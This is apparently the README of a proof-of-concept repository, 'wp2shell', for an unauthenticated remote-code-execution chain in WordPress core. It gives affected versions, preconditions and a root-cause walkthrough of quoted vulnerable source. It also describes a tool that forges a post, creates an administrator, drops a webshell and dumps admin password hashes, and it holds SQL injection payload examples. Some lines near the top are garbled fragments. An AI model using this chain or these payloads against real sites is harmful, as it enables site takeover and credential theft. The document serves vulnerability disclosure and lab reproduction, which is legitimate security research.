
CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: unauthenticated RCE in WordPress core
REST API batch route confusion (CVE-2026-63030) chained with a
WP_Queryauthor__not_inSQL injection (CVE-2026-60137) → pre-auth remote code execution against a default WordPress install.Discovered by Adam Kues (Assetnote / Searchlight Cyber), disclosed 2026-07-17. Advisories: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf.
| Chain (unauth RCE) | WordPress 6.9.0 - 6.9.4 and 7.0.0 - 7.0.1 |
| SQLi only (needs a facilitating plugin/theme) | 6.8.0 - 6.8.5 |
| Not affected | ≤ 6.8 for the batch confusion; 6.9.5 / 7.0.2 / 7.1-beta2 (patched) |
| Preconditions | REST API reachable; no persistent object cache (Redis/Memcached); ≥1 published post |
| Auth required | none |
| Impact | unauthenticated → create a new administrator → code execution (the SQLi also dumps the admin hash) |
https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6
requests dependency and no broken features.shell with no credentials forges a fake WP_Post via the single-post UNION confusion, bridges the customizer to create a fresh administrator (POST /wp/v2/users), logs in, and drops a token-gated webshell. The SQLi admin-hash dump (read --preset users) is kept as a second, verified path.block_cannot_read) used as the primary, non-destructive check.sqli) that the other PoCs do not have.$wp$2y$ password hash (-m 35500).wp2shell/
├── README.md ← you are here
├── wp2shell.py ← the unified PoC (single file, stdlib only, by 0xsha)
└── lab/ ← reproducible Docker labs + reliability matrix
├── docker-compose.yml (default 6.9.4 lab)
├── docker-compose.matrix.yml (parameterised: any version × MySQL/MariaDB)
├── docker-compose.sqli.yml (6.8.3 "SQLi only" lab)
├── matrix.sh (runs the whole reliability matrix)
└── sqli-only/facilitator.php (mu-plugin: the 6.8.x facilitating sink)
The six public PoCs this tool draws from are not vendored here; they are linked in Credits.
Everything below was verified in the local Docker lab (see §4); claims that were not run in-lab are labelled as such.
The chain welds two independent bugs. Line numbers are from the real WordPress
6.9.4 source (extracted from wordpress:6.9.4-apache).
author__not_in SQL injection (CVE-2026-60137)wp-includes/class-wp-query.php, WP_Query::get_posts():
2403 if ( ! empty( $query_vars['author__not_in'] ) ) {
2404 if ( is_array( $query_vars['author__not_in'] ) ) { // ← guard only fires for ARRAYS
2405 $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406 sort( $query_vars['author__not_in'] );
2407 }
2408 $author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); // ← string passes straight through
2409 $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // ← raw interpolation
2410 } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415 $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) ); // ← absint INSIDE implode
A string author__not_in skips the is_array() guard (2404); implode(',', (array)"…") returns it unchanged (2408) and it is concatenated raw into the SQL
(2409). The sibling author__in (2415) re-applies array_map('absint', …)
inside the implode and is safe - that one missing array_map is the bug. The
value lands as ... post_author NOT IN (<value>) ..., so 0) <sql>-- - closes
the list and appends SQL.
Getting a string there is the hard part: the REST posts endpoint maps
author_exclude → author__not_in (class-wp-rest-posts-controller.php:247) but
declares it 'type' => 'array' of integers, so core coerces/rejects a string:
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer." (verified on 6.8.3)
That is why Bug A alone is only “facilitated”. Bug B smuggles the string past validation on 6.9+.
wp-includes/rest-api/class-wp-rest-server.php, serve_batch_request_v1():
1720 if ( false === $parsed_url ) {
1721 $requests[] = new WP_Error( 'parse_path_failed', … ); // a bad path becomes a WP_Error IN $requests
1749 foreach ( $requests as $single_request ) {
1750 if ( is_wp_error( $single_request ) ) {
1752 $validation[] = $single_request; // ← pushed to $validation …
1753 continue; // ← … but $matches is SKIPPED
1754 }
1757 $matches[] = $match; // ← $matches only grows for VALID requests
1825 foreach ( $requests as $i => $single_request ) { // indexed by position in $requests
1841 $match = $matches[ $i ]; // ← $matches is SHORTER → +1 shift
1861 $result = $this->respond_to_request( $single_request, $route, $handler, $error );
A WP_Error sub-request is pushed to $validation[] (1752) but not to
$matches[] (the continue at 1753 skips 1757), so $matches runs short and
$matches[$i] (1841) holds the next request’s handler. Request i is
dispatched with request i+1’s handler, carrying its own params and its own
(passed) validation verdict.
Regression origin (verified 6.8.3 → 6.9.4 diff): in 6.8.3 the loop pushes
$matches[] = $match for every request and bad paths are dropped in the first
loop - arrays stay aligned, no desync. 6.9.0’s refactor introduced the shift.
That is exactly why 6.8.x is “SQLi only” and the RCE chain begins at 6.9.0.
The patch appends $matches[] for error entries too, hardens re-entrancy, and
parses author__not_in with an id-list helper. (6.9.5 was not on Docker Hub at
test time, so this is from the advisories, not an in-lab diff.)
The batch schema only allows POST/PUT/PATCH/DELETE sub-requests, but posts
get_items (the author_exclude sink) is GET-only, so the confusion is
nested twice: